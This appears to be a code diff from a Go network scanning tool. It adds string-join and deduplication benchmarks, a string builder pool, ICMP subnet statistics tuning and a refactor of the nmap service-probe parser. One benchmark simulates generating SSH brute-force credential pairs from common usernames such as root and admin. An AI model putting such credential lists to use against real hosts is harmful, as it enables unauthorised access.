result += "," + fmt.Sprintf("%d", slice[j])
|
||||
}
|
||||
}
|
||||
_ = result
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkIntJoinOptimized 优化后的整数连接方法
|
||||
func BenchmarkIntJoinOptimized(b *testing.B) {
|
||||
slice := make([]int, 100)
|
||||
for i := range slice {
|
||||
slice[i] = i * 10
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
for i := 0; i < b.N; i++ {
|
||||
result := JoinInts(slice, ",")
|
||||
_ = result
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkDeduplicateOriginal 原始去重方法
|
||||
func BenchmarkDeduplicateOriginal(b *testing.B) {
|
||||
slice := make([]string, 1000)
|
||||
for i := range slice {
|
||||
slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
for i := 0; i < b.N; i++ {
|
||||
temp := make(map[string]struct{})
|
||||
var result []string
|
||||
|
||||
for _, item := range slice {
|
||||
if _, exists := temp[item]; !exists {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
_ = result
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkDeduplicateOptimized 优化后的去重方法
|
||||
func BenchmarkDeduplicateOptimized(b *testing.B) {
|
||||
slice := make([]string, 1000)
|
||||
for i := range slice {
|
||||
slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
for i := 0; i < b.N; i++ {
|
||||
result := DeduplicateStrings(slice)
|
||||
_ = result
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkSliceAllocationOriginal 原始切片分配方法
|
||||
func BenchmarkSliceAllocationOriginal(b *testing.B) {
|
||||
b.ResetTimer()
|
||||
for i := 0; i < b.N; i++ {
|
||||
var result []string
|
||||
for j := 0; j < 50; j++ {
|
||||
result = append(result, fmt.Sprintf("item-%d", j))
|
||||
}
|
||||
_ = result
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkSliceAllocationOptimized 优化后的切片分配方法
|
||||
func BenchmarkSliceAllocationOptimized(b *testing.B) {
|
||||
b.ResetTimer()
|
||||
for i := 0; i < b.N; i++ {
|
||||
result := make([]string, 0, 50)
|
||||
for j := 0; j < 50; j++ {
|
||||
result = append(result, fmt.Sprintf("item-%d", j))
|
||||
}
|
||||
_ = result
|
||||
}
|
||||
}
|
||||
|
||||
// TestMemoryUsage 内存使用情况对比测试
|
||||
func TestMemoryUsage(t *testing.T) {
|
||||
// 测试字符串连接的内存使用
|
||||
t.Run("StringJoin", func(t *testing.T) {
|
||||
slice := make([]string, 1000)
|
||||
for i := range slice {
|
||||
slice[i] = fmt.Sprintf("test-string-%d", i)
|
||||
}
|
||||
|
||||
// 测试原始方法
|
||||
runtime.GC()
|
||||
var m1, m2 runtime.MemStats
|
||||
runtime.ReadMemStats(&m1)
|
||||
|
||||
for i := 0; i < 1000; i++ {
|
||||
var result string
|
||||
if len(slice) > 0 {
|
||||
result = slice[0]
|
||||
for j := 1; j < len(slice); j++ {
|
||||
result += "," + slice[j]
|
||||
}
|
||||
}
|
||||
_ = result
|
||||
}
|
||||
|
||||
runtime.GC()
|
||||
runtime.ReadMemStats(&m2)
|
||||
origAlloc := m2.TotalAlloc - m1.TotalAlloc
|
||||
|
||||
// 测试优化方法
|
||||
runtime.GC()
|
||||
runtime.ReadMemStats(&m1)
|
||||
|
||||
for i := 0; i < 1000; i++ {
|
||||
result := JoinStrings(slice, ",")
|
||||
_ = result
|
||||
}
|
||||
|
||||
runtime.GC()
|
||||
runtime.ReadMemStats(&m2)
|
||||
optAlloc := m2.TotalAlloc - m1.TotalAlloc
|
||||
|
||||
t.Logf("原始方法内存分配: %d bytes", origAlloc)
|
||||
t.Logf("优化方法内存分配: %d bytes", optAlloc)
|
||||
t.Logf("内存减少: %.2f%%", float64(origAlloc-optAlloc)/float64(origAlloc)*100)
|
||||
})
|
||||
}
|
||||
|
||||
// TestPoolReuse 测试对象池复用效果(StringBuilderPool)
|
||||
func TestPoolReuse(t *testing.T) {
|
||||
// 重置计数器
|
||||
pool := NewStringBuilderPool(1024)
|
||||
|
||||
// 执行多次操作
|
||||
slice := []string{"a", "b", "c", "d", "e"}
|
||||
for i := 0; i < 100; i++ {
|
||||
result := pool.JoinStrings(slice, ",")
|
||||
_ = result
|
||||
}
|
||||
|
||||
// GetReusedCount 方法已移除,无法测试复用次数
|
||||
t.Log("字符串构建器池测试完成")
|
||||
|
||||
// 切片池相关功能已移除,跳过该测试
|
||||
t.Log("切片池功能已移除")
|
||||
}
|
||||
|
||||
// TestStringBuilderCorrectness 测试字符串构建器正确性
|
||||
func TestStringBuilderCorrectness(t *testing.T) {
|
||||
testCases := []struct {
|
||||
slice []string
|
||||
sep string
|
||||
want string
|
||||
}{
|
||||
{[]string{}, ",", ""},
|
||||
{[]string{"a"}, ",", "a"},
|
||||
{[]string{"a", "b"}, ",", "a,b"},
|
||||
{[]string{"hello", "world", "test"}, " ", "hello world test"},
|
||||
{[]string{"1", "2", "3", "4", "5"}, "-", "1-2-3-4-5"},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
got := JoinStrings(tc.slice, tc.sep)
|
||||
want := strings.Join(tc.slice, tc.sep)
|
||||
|
||||
if got != want {
|
||||
t.Errorf("JoinStrings(%v, %q) = %q, want %q", tc.slice, tc.sep, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntJoinCorrectness 测试整数连接正确性
|
||||
func TestIntJoinCorrectness(t *testing.T) {
|
||||
testCases := []struct {
|
||||
slice []int
|
||||
sep string
|
||||
want string
|
||||
}{
|
||||
{[]int{}, ",", ""},
|
||||
{[]int{1}, ",", "1"},
|
||||
{[]int{1, 2}, ",", "1,2"},
|
||||
{[]int{10, 20, 30}, "-", "10-20-30"},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
got := JoinInts(tc.slice, tc.sep)
|
||||
|
||||
if got != tc.want {
|
||||
t.Errorf("JoinInts(%v, %q) = %q, want %q", tc.slice, tc.sep, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkCredentialGeneration 模拟SSH凭证生成的性能测试
|
||||
func BenchmarkCredentialGeneration(b *testing.B) {
|
||||
users := []string{"admin", "root", "user", "test", "guest"}
|
||||
passwords := make([]string, 20)
|
||||
for i := range passwords {
|
||||
passwords[i] = fmt.Sprintf("password%d", i)
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
for i := 0; i < b.N; i++ {
|
||||
// 模拟SSH凭证生成过程
|
||||
totalCreds := len(users) * len(passwords)
|
||||
credentials := make([]struct{ user, pass string }, 0, totalCreds)
|
||||
|
||||
for _, user := range users {
|
||||
for _, pass := range passwords {
|
||||
credentials = append(credentials, struct{ user, pass string }{user, pass})
|
||||
}
|
||||
}
|
||||
_ = credentials
|
||||
}
|
||||
}
|
||||
|
||||
// Example 展示如何使用优化后的工具
|
||||
func ExampleJoinStrings() {
|
||||
slice := []string{"apple", "banana", "cherry"}
|
||||
result := JoinStrings(slice, ", ")
|
||||
fmt.Println(result)
|
||||
// Output: apple, banana, cherry
|
||||
}
|
||||
|
||||
func ExampleJoinInts() {
|
||||
ports := []int{80, 443, 8080, 9090}
|
||||
result := JoinInts(ports, ",")
|
||||
fmt.Println(result)
|
||||
// Output: 80,443,8080,9090
|
||||
}
|
||||
|
||||
// 运行时长度测试 - 验证在不同规模下的表现
|
||||
func TestScalability(t *testing.T) {
|
||||
sizes := []int{10, 100, 1000, 5000}
|
||||
|
||||
for _, size := range sizes {
|
||||
t.Run(fmt.Sprintf("Size%d", size), func(t *testing.T) {
|
||||
// 准备数据
|
||||
slice := make([]string, size)
|
||||
for i := range slice {
|
||||
slice[i] = fmt.Sprintf("item-%d", i)
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
result := JoinStrings(slice, ",")
|
||||
duration := time.Since(start)
|
||||
|
||||
t.Logf("规模 %d: 耗时 %v, 结果长度 %d", size, duration, len(result))
|
||||
|
||||
// 验证结果正确性(只检查开头和结尾)
|
||||
expected := strings.Join(slice, ",")
|
||||
if result != expected {
|
||||
t.Errorf("结果不匹配")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
26
Common/utils/slicepool.go
Normal file
26
Common/utils/slicepool.go
Normal file
@ -0,0 +1,26 @@
|
||||
package utils
|
||||
|
||||
|
||||
|
||||
// DeduplicateStrings 高效字符串去重 - 简化版本
|
||||
func DeduplicateStrings(slice []string) []string {
|
||||
if len(slice) <= 1 {
|
||||
return slice
|
||||
}
|
||||
|
||||
// 使用最简单高效的实现
|
||||
seen := make(map[string]struct{}, len(slice))
|
||||
result := make([]string, 0, len(slice))
|
||||
|
||||
for _, item := range slice {
|
||||
if _, exists := seen[item]; !exists {
|
||||
seen[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
|
||||
|
128
Common/utils/stringbuilder.go
Normal file
128
Common/utils/stringbuilder.go
Normal file
@ -0,0 +1,128 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
)
|
||||
|
||||
// StringBuilderPool 字符串构建器池
|
||||
type StringBuilderPool struct {
|
||||
pool sync.Pool
|
||||
reused int64 // 复用计数器
|
||||
maxSize int // 最大保留大小,防止内存无限增长
|
||||
}
|
||||
|
||||
// NewStringBuilderPool 创建新的字符串构建器池
|
||||
func NewStringBuilderPool(maxSize int) *StringBuilderPool {
|
||||
if maxSize <= 0 {
|
||||
maxSize = 64 * 1024 // 默认64KB最大保留大小
|
||||
}
|
||||
|
||||
return &StringBuilderPool{
|
||||
pool: sync.Pool{
|
||||
New: func() interface{} {
|
||||
return &strings.Builder{}
|
||||
},
|
||||
},
|
||||
maxSize: maxSize,
|
||||
}
|
||||
}
|
||||
|
||||
// Get 获取字符串构建器
|
||||
func (p *StringBuilderPool) Get() *strings.Builder {
|
||||
builder := p.pool.Get().(*strings.Builder)
|
||||
builder.Reset() // 清空内容但保留容量
|
||||
atomic.AddInt64(&p.reused, 1)
|
||||
return builder
|
||||
}
|
||||
|
||||
// Put 归还字符串构建器
|
||||
func (p *StringBuilderPool) Put(builder *strings.Builder) {
|
||||
if builder == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 如果容量超过最大限制,不放回池中以避免内存泄露
|
||||
if builder.Cap() > p.maxSize {
|
||||
return
|
||||
}
|
||||
|
||||
p.pool.Put(builder)
|
||||
}
|
||||
|
||||
// JoinStrings 高效连接字符串切片
|
||||
func (p *StringBuilderPool) JoinStrings(slice []string, sep string) string {
|
||||
if len(slice) == 0 {
|
||||
return ""
|
||||
}
|
||||
if len(slice) == 1 {
|
||||
return slice[0]
|
||||
}
|
||||
|
||||
builder := p.Get()
|
||||
defer p.Put(builder)
|
||||
|
||||
// 预估容量:所有字符串长度 + 分隔符长度
|
||||
var totalLen int
|
||||
for _, s := range slice {
|
||||
totalLen += len(s)
|
||||
}
|
||||
totalLen += len(sep) * (len(slice) - 1)
|
||||
|
||||
// 如果当前容量不足,预先增长
|
||||
if builder.Cap() < totalLen {
|
||||
builder.Grow(totalLen)
|
||||
}
|
||||
|
||||
builder.WriteString(slice[0])
|
||||
for i := 1; i < len(slice); i++ {
|
||||
builder.WriteString(sep)
|
||||
builder.WriteString(slice[i])
|
||||
}
|
||||
|
||||
return builder.String()
|
||||
}
|
||||
|
||||
// JoinInts 高效连接整数切片
|
||||
func (p *StringBuilderPool) JoinInts(slice []int, sep string) string {
|
||||
if len(slice) == 0 {
|
||||
return ""
|
||||
}
|
||||
if len(slice) == 1 {
|
||||
return strconv.Itoa(slice[0])
|
||||
}
|
||||
|
||||
builder := p.Get()
|
||||
defer p.Put(builder)
|
||||
|
||||
// 预估容量:平均每个整数4字符 + 分隔符
|
||||
estimatedLen := len(slice)*4 + len(sep)*(len(slice)-1)
|
||||
if builder.Cap() < estimatedLen {
|
||||
builder.Grow(estimatedLen)
|
||||
}
|
||||
|
||||
builder.WriteString(strconv.Itoa(slice[0]))
|
||||
for i := 1; i < len(slice); i++ {
|
||||
builder.WriteString(sep)
|
||||
builder.WriteString(strconv.Itoa(slice[i]))
|
||||
}
|
||||
|
||||
return builder.String()
|
||||
}
|
||||
|
||||
|
||||
|
||||
// 全局字符串构建器池实例
|
||||
var GlobalStringBuilderPool = NewStringBuilderPool(64 * 1024)
|
||||
|
||||
// 便捷函数,使用全局池
|
||||
func JoinStrings(slice []string, sep string) string {
|
||||
return GlobalStringBuilderPool.JoinStrings(slice, sep)
|
||||
}
|
||||
|
||||
func JoinInts(slice []int, sep string) string {
|
||||
return GlobalStringBuilderPool.JoinInts(slice, sep)
|
||||
}
|
||||
|
27
Core/ICMP.go
27
Core/ICMP.go
@ -117,11 +117,30 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
|
||||
RunPing(hostslist, chanHosts)
|
||||
}
|
||||
|
||||
// getOptimalTopCount 根据扫描规模智能决定显示数量
|
||||
func getOptimalTopCount(totalHosts int) int {
|
||||
switch {
|
||||
case totalHosts > 50000: // 超大规模扫描
|
||||
return 20
|
||||
case totalHosts > 10000: // 大规模扫描
|
||||
return 15
|
||||
case totalHosts > 1000: // 中等规模扫描
|
||||
return 10
|
||||
case totalHosts > 256: // 小规模扫描
|
||||
return 5
|
||||
default:
|
||||
return 3
|
||||
}
|
||||
}
|
||||
|
||||
// printAliveStats 打印存活统计信息
|
||||
func printAliveStats(hostslist []string) {
|
||||
// 智能计算显示数量
|
||||
topCount := getOptimalTopCount(len(hostslist))
|
||||
|
||||
// 大规模扫描时输出 /16 网段统计
|
||||
if len(hostslist) > 1000 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, topCount, true)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
common.LogInfo(i18n.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
|
||||
}
|
||||
@ -129,7 +148,7 @@ func printAliveStats(hostslist []string) {
|
||||
|
||||
// 输出 /24 网段统计
|
||||
if len(hostslist) > 256 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, topCount, false)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
common.LogInfo(i18n.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
|
||||
}
|
||||
@ -381,8 +400,8 @@ func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []strin
|
||||
return
|
||||
}
|
||||
|
||||
// 统计各网段出现次数
|
||||
segmentCounts := make(map[string]int)
|
||||
// 统计各网段出现次数,预分配容量
|
||||
segmentCounts := make(map[string]int, len(arrInit)/4)
|
||||
for _, ip := range arrInit {
|
||||
segments := strings.Split(ip, ".")
|
||||
if len(segments) != 4 {
|
||||
|
@ -1,877 +1,40 @@
|
||||
package core
|
||||
|
||||
// 重新导出portfinger包的类型和函数,保持向后兼容性
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/core/portfinger"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
//go:embed nmap-service-probes.txt
|
||||
var ProbeString string
|
||||
// 重新导出类型定义
|
||||
type VScan = portfinger.VScan
|
||||
type Probe = portfinger.Probe
|
||||
type Match = portfinger.Match
|
||||
type Directive = portfinger.Directive
|
||||
type Extras = portfinger.Extras
|
||||
type Target = portfinger.Target
|
||||
|
||||
var v VScan // 改为VScan类型而不是指针
|
||||
|
||||
type VScan struct {
|
||||
Exclude string
|
||||
AllProbes []Probe
|
||||
UdpProbes []Probe
|
||||
Probes []Probe
|
||||
ProbesMapKName map[string]Probe
|
||||
}
|
||||
|
||||
type Probe struct {
|
||||
Name string // 探测器名称
|
||||
Data string // 探测数据
|
||||
Protocol string // 协议
|
||||
Ports string // 端口范围
|
||||
SSLPorts string // SSL端口范围
|
||||
|
||||
TotalWaitMS int // 总等待时间
|
||||
TCPWrappedMS int // TCP包装等待时间
|
||||
Rarity int // 稀有度
|
||||
Fallback string // 回退探测器名称
|
||||
|
||||
Matchs *[]Match // 匹配规则列表
|
||||
}
|
||||
|
||||
type Match struct {
|
||||
IsSoft bool // 是否为软匹配
|
||||
Service string // 服务名称
|
||||
Pattern string // 匹配模式
|
||||
VersionInfo string // 版本信息格式
|
||||
FoundItems []string // 找到的项目
|
||||
PatternCompiled *regexp.Regexp // 编译后的正则表达式
|
||||
}
|
||||
|
||||
type Directive struct {
|
||||
DirectiveName string
|
||||
Flag string
|
||||
Delimiter string
|
||||
DirectiveStr string
|
||||
}
|
||||
|
||||
type Extras struct {
|
||||
VendorProduct string
|
||||
Version string
|
||||
Info string
|
||||
Hostname string
|
||||
OperatingSystem string
|
||||
DeviceType string
|
||||
CPE string
|
||||
}
|
||||
// 兼容原有的全局变量访问模式
|
||||
var v *VScan
|
||||
var null *Probe
|
||||
var commonProbe *Probe
|
||||
|
||||
func init() {
|
||||
common.LogDebug("开始初始化全局变量")
|
||||
|
||||
v = VScan{} // 直接初始化VScan结构体
|
||||
v.Init()
|
||||
|
||||
// 获取并检查 NULL 探测器
|
||||
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
|
||||
common.LogDebug(fmt.Sprintf("成功获取NULL探测器,Data长度: %d", len(nullProbe.Data)))
|
||||
null = &nullProbe
|
||||
} else {
|
||||
common.LogDebug("警告: 未找到NULL探测器")
|
||||
}
|
||||
|
||||
// 获取并检查 GenericLines 探测器
|
||||
if genericProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
|
||||
common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器,Data长度: %d", len(genericProbe.Data)))
|
||||
commonProbe = &genericProbe
|
||||
} else {
|
||||
common.LogDebug("警告: 未找到GenericLines探测器")
|
||||
}
|
||||
|
||||
common.LogDebug("全局变量初始化完成")
|
||||
}
|
||||
|
||||
// 解析指令语法,返回指令结构
|
||||
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
|
||||
common.LogDebug("开始解析指令语法,输入数据: " + data)
|
||||
|
||||
directive = Directive{}
|
||||
// 查找第一个空格的位置
|
||||
blankIndex := strings.Index(data, " ")
|
||||
if blankIndex == -1 {
|
||||
common.LogDebug("未找到空格分隔符")
|
||||
return directive
|
||||
}
|
||||
|
||||
// 解析各个字段
|
||||
directiveName := data[:blankIndex]
|
||||
Flag := data[blankIndex+1 : blankIndex+2]
|
||||
delimiter := data[blankIndex+2 : blankIndex+3]
|
||||
directiveStr := data[blankIndex+3:]
|
||||
|
||||
directive.DirectiveName = directiveName
|
||||
directive.Flag = Flag
|
||||
directive.Delimiter = delimiter
|
||||
directive.DirectiveStr = directiveStr
|
||||
|
||||
common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
|
||||
directiveName, Flag, delimiter, directiveStr))
|
||||
|
||||
return directive
|
||||
}
|
||||
|
||||
// 解析探测器信息
|
||||
func (p *Probe) parseProbeInfo(probeStr string) {
|
||||
common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
|
||||
|
||||
// 提取协议和其他信息
|
||||
proto := probeStr[:4]
|
||||
other := probeStr[4:]
|
||||
|
||||
// 验证协议类型
|
||||
if !(proto == "TCP " || proto == "UDP ") {
|
||||
errMsg := "探测器协议必须是 TCP 或 UDP"
|
||||
common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 验证其他信息不为空
|
||||
if len(other) == 0 {
|
||||
errMsg := "nmap-service-probes - 探测器名称无效"
|
||||
common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 解析指令
|
||||
directive := p.getDirectiveSyntax(other)
|
||||
|
||||
// 设置探测器属性
|
||||
p.Name = directive.DirectiveName
|
||||
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
|
||||
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
|
||||
|
||||
common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
|
||||
p.Name, p.Data, p.Protocol))
|
||||
}
|
||||
|
||||
// 从字符串解析探测器信息
|
||||
func (p *Probe) fromString(data string) error {
|
||||
common.LogDebug("开始解析探测器字符串数据")
|
||||
var err error
|
||||
|
||||
// 预处理数据
|
||||
data = strings.TrimSpace(data)
|
||||
lines := strings.Split(data, "\n")
|
||||
if len(lines) == 0 {
|
||||
return fmt.Errorf("输入数据为空")
|
||||
}
|
||||
|
||||
probeStr := lines[0]
|
||||
p.parseProbeInfo(probeStr)
|
||||
|
||||
// 解析匹配规则和其他配置
|
||||
var matchs []Match
|
||||
for _, line := range lines {
|
||||
common.LogDebug("处理行: " + line)
|
||||
switch {
|
||||
case strings.HasPrefix(line, "match "):
|
||||
match, err := p.getMatch(line)
|
||||
if err != nil {
|
||||
common.LogDebug("解析match失败: " + err.Error())
|
||||
continue
|
||||
}
|
||||
matchs = append(matchs, match)
|
||||
|
||||
case strings.HasPrefix(line, "softmatch "):
|
||||
softMatch, err := p.getSoftMatch(line)
|
||||
if err != nil {
|
||||
common.LogDebug("解析softmatch失败: " + err.Error())
|
||||
continue
|
||||
}
|
||||
matchs = append(matchs, softMatch)
|
||||
|
||||
case strings.HasPrefix(line, "ports "):
|
||||
p.parsePorts(line)
|
||||
|
||||
case strings.HasPrefix(line, "sslports "):
|
||||
p.parseSSLPorts(line)
|
||||
|
||||
case strings.HasPrefix(line, "totalwaitms "):
|
||||
p.parseTotalWaitMS(line)
|
||||
|
||||
case strings.HasPrefix(line, "tcpwrappedms "):
|
||||
p.parseTCPWrappedMS(line)
|
||||
|
||||
case strings.HasPrefix(line, "rarity "):
|
||||
p.parseRarity(line)
|
||||
|
||||
case strings.HasPrefix(line, "fallback "):
|
||||
p.parseFallback(line)
|
||||
}
|
||||
}
|
||||
p.Matchs = &matchs
|
||||
common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
|
||||
return err
|
||||
}
|
||||
|
||||
// 解析端口配置
|
||||
func (p *Probe) parsePorts(data string) {
|
||||
p.Ports = data[len("ports")+1:]
|
||||
common.LogDebug("解析端口: " + p.Ports)
|
||||
}
|
||||
|
||||
// 解析SSL端口配置
|
||||
func (p *Probe) parseSSLPorts(data string) {
|
||||
p.SSLPorts = data[len("sslports")+1:]
|
||||
common.LogDebug("解析SSL端口: " + p.SSLPorts)
|
||||
}
|
||||
|
||||
// 解析总等待时间
|
||||
func (p *Probe) parseTotalWaitMS(data string) {
|
||||
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
|
||||
if err != nil {
|
||||
common.LogDebug("解析总等待时间失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.TotalWaitMS = waitMS
|
||||
common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
|
||||
}
|
||||
|
||||
// 解析TCP包装等待时间
|
||||
func (p *Probe) parseTCPWrappedMS(data string) {
|
||||
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
|
||||
if err != nil {
|
||||
common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.TCPWrappedMS = wrappedMS
|
||||
common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
|
||||
}
|
||||
|
||||
// 解析稀有度
|
||||
func (p *Probe) parseRarity(data string) {
|
||||
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
|
||||
if err != nil {
|
||||
common.LogDebug("解析稀有度失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.Rarity = rarity
|
||||
common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
|
||||
}
|
||||
|
||||
// 解析回退配置
|
||||
func (p *Probe) parseFallback(data string) {
|
||||
p.Fallback = data[len("fallback")+1:]
|
||||
common.LogDebug("回退配置: " + p.Fallback)
|
||||
}
|
||||
|
||||
// 判断是否为十六进制编码
|
||||
func isHexCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\x[0-9a-fA-F]{2}`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 判断是否为八进制编码
|
||||
func isOctalCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\[0-7]{1,3}`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 判断是否为结构化转义字符
|
||||
func isStructCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\[aftnrv]`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 判断是否为正则表达式特殊字符
|
||||
func isReChar(n int64) bool {
|
||||
reChars := `.*?+{}()^$|\`
|
||||
for _, char := range reChars {
|
||||
if n == int64(char) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// 判断是否为其他转义序列
|
||||
func isOtherEscapeCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\[^\\]`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 从内容解析探测器规则
|
||||
func (v *VScan) parseProbesFromContent(content string) {
|
||||
common.LogDebug("开始解析探测器规则文件内容")
|
||||
var probes []Probe
|
||||
var lines []string
|
||||
|
||||
// 过滤注释和空行
|
||||
linesTemp := strings.Split(content, "\n")
|
||||
for _, lineTemp := range linesTemp {
|
||||
lineTemp = strings.TrimSpace(lineTemp)
|
||||
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
|
||||
continue
|
||||
}
|
||||
lines = append(lines, lineTemp)
|
||||
}
|
||||
|
||||
// 验证文件内容
|
||||
if len(lines) == 0 {
|
||||
errMsg := "读取nmap-service-probes文件失败: 内容为空"
|
||||
common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 检查Exclude指令
|
||||
excludeCount := 0
|
||||
for _, line := range lines {
|
||||
if strings.HasPrefix(line, "Exclude ") {
|
||||
excludeCount++
|
||||
}
|
||||
if excludeCount > 1 {
|
||||
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
|
||||
common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
}
|
||||
|
||||
// 验证第一行格式
|
||||
firstLine := lines[0]
|
||||
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
|
||||
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
|
||||
common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 处理Exclude指令
|
||||
if excludeCount == 1 {
|
||||
v.Exclude = firstLine[len("Exclude")+1:]
|
||||
lines = lines[1:]
|
||||
common.LogDebug("解析到Exclude规则: " + v.Exclude)
|
||||
}
|
||||
|
||||
// 合并内容并分割探测器
|
||||
content = "\n" + strings.Join(lines, "\n")
|
||||
probeParts := strings.Split(content, "\nProbe")[1:]
|
||||
|
||||
// 解析每个探测器
|
||||
for _, probePart := range probeParts {
|
||||
probe := Probe{}
|
||||
if err := probe.fromString(probePart); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
|
||||
continue
|
||||
}
|
||||
probes = append(probes, probe)
|
||||
}
|
||||
|
||||
v.AllProbes = probes
|
||||
common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
|
||||
}
|
||||
|
||||
// 将探测器转换为名称映射
|
||||
func (v *VScan) parseProbesToMapKName() {
|
||||
common.LogDebug("开始构建探测器名称映射")
|
||||
v.ProbesMapKName = map[string]Probe{}
|
||||
for _, probe := range v.AllProbes {
|
||||
v.ProbesMapKName[probe.Name] = probe
|
||||
common.LogDebug("添加探测器映射: " + probe.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// 设置使用的探测器
|
||||
func (v *VScan) SetusedProbes() {
|
||||
common.LogDebug("开始设置要使用的探测器")
|
||||
|
||||
for _, probe := range v.AllProbes {
|
||||
if strings.ToLower(probe.Protocol) == "tcp" {
|
||||
if probe.Name == "SSLSessionReq" {
|
||||
common.LogDebug("跳过 SSLSessionReq 探测器")
|
||||
continue
|
||||
}
|
||||
|
||||
v.Probes = append(v.Probes, probe)
|
||||
common.LogDebug("添加TCP探测器: " + probe.Name)
|
||||
|
||||
// 特殊处理TLS会话请求
|
||||
if probe.Name == "TLSSessionReq" {
|
||||
sslProbe := v.ProbesMapKName["SSLSessionReq"]
|
||||
v.Probes = append(v.Probes, sslProbe)
|
||||
common.LogDebug("为TLSSessionReq添加SSL探测器")
|
||||
}
|
||||
} else {
|
||||
v.UdpProbes = append(v.UdpProbes, probe)
|
||||
common.LogDebug("添加UDP探测器: " + probe.Name)
|
||||
}
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("探测器设置完成,TCP: %d个, UDP: %d个",
|
||||
len(v.Probes), len(v.UdpProbes)))
|
||||
}
|
||||
|
||||
// 解析match指令获取匹配规则
|
||||
func (p *Probe) getMatch(data string) (match Match, err error) {
|
||||
common.LogDebug("开始解析match指令:" + data)
|
||||
match = Match{}
|
||||
|
||||
// 提取match文本并解析指令语法
|
||||
matchText := data[len("match")+1:]
|
||||
directive := p.getDirectiveSyntax(matchText)
|
